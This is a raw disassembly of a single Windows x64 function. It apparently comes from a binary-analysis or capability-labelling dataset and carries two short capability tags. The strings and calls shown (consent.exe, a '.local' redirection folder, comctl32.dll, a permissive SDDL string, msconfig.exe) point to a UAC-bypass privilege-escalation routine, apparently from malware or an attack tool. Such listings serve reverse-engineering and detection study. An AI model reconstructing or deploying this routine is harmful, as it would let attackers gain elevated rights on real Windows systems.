Function at 0x140008a34
Capabilities:
Get common file path
Set current directory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r9
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xba8]
sub rsp, 0xc80
mov r12, rcx
xor r13d, r13d
lea rcx, str.consent.exe
mov r15d, edx
mov rax, rcx
mov esi, 0xc0000022
mov ebx, r13d
add rax, 2
cmp word [rax], r13w
jne 0x140008a79
sub rax, rcx
sar rax, 1
cmp rax, 0x104
jbe 0x140008a9b
mov eax, 0xc00000f1
jmp 0x140008d26
xor r9d, r9d
lea r8, str.MpThreatOpen
mov rcx, r12
call fcn.14000ec38
test eax, eax
je 0x140008d24
mov edx, 0x410
mov qword [rbp + 0xbc8], 0xfffe
mov ecx, edx
lea rdi, [rbp + 0x770]
xor eax, eax
xor r9d, r9d
rep stosb byte [rdi], al
mov ecx, edx
lea rdi, [rsp + 0x50]
rep stosb byte [rdi], al
lea rcx, [rbp + 0xbc8]
mov edx, 0x3000
call fcn.14000d928
mov r14, rax
test rax, rax
je 0x140008d24
lea rax, str.comctl32.dll
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x30]
lea rax, str.microsoft.windows.common_controls
mov qword [rsp + 0x38], rax
call fcn.14000e0f8
test eax, eax
je 0x140008d0f
mov rcx, r14
call fcn.140001a80
mov rdi, rax
test rax, rax
je 0x140008d0f
jmp 0x140008b44
add rax, 2
cmp word [rax], r13w
jne 0x140008b40
sub rax, rdi
lea rcx, [rbp + 0xbc8]
sar rax, 1
xor r9d, r9d
mov edx, 0x3000
lea rax, [rax*2 + 0x1000]
mov qword [rbp + 0xbc8], rax
call fcn.14000d928
mov rbx, rax
test rax, rax
je 0x140008d0f
mov rdx, qword [0x14002ea00]
mov rcx, rax
add rdx, 0x272
call fcn.140001af0
lea rdx, str.consent.exe
lea rcx, [rsp + 0x50]
call fcn.140001af0
lea rdx, [0x140027024]
lea rcx, [rsp + 0x50]
call fcn.140001ab4
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140009c3c
test eax, eax
je 0x140008d0f
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140001ab4
mov rdx, rdi
mov rcx, rbx
call fcn.140009c3c
test eax, eax
je 0x140008d0f
lea rdx, [0x1400265c0]
mov rcx, rbx
call fcn.140001ab4
mov rdx, rdi
mov rcx, rbx
call fcn.140001ab4
mov rcx, rbx
lea r9, str.D:_A__GA___WD_
call fcn.14000a084
test eax, eax
je 0x140008d0f
lea rdx, [rbp + 0x360]
mov ecx, 0x208
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov r8d, r15d
lea rcx, str.comctl32.dll
mov rdx, r12
call fcn.14000d9e0
test eax, eax
je 0x140008d0f
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov rdx, qword [0x14002ea00]
mov rcx, rbx
add rdx, 0x272
call fcn.140001af0
lea rdx, str.consent.exe
call fcn.140001ab4
lea rdx, [0x140027024]
mov rcx, rbx
call fcn.140001ab4
lea rdx, str.consent.exe
lea rcx, [rsp + 0x50]
call fcn.140001af0
lea rdx, str..local
lea rcx, [rsp + 0x50]
call fcn.140001ab4
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140009b2c
test eax, eax
je 0x140008d0f
mov rdx, qword [0x14002ea00]
lea rcx, [rsp + 0x50]
add rdx, 0x272
call fcn.140001af0
lea rdx, str.msconfig.exe
lea rcx, [rsp + 0x50]
call fcn.140001ab4
xor r8d, r8d
mov dword [rsp + 0x20], 0x3e8
xor edx, edx
lea rcx, [rsp + 0x50]
mov r9d, 1
call fcn.14000dd94
test eax, eax
cmovne esi, r13d
mov rcx, r14
call fcn.14000d9a4
test rbx, rbx
je 0x140008d24
mov rcx, rbx
call fcn.14000d9a4
mov eax, esi
lea r11, [rsp + 0xc80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret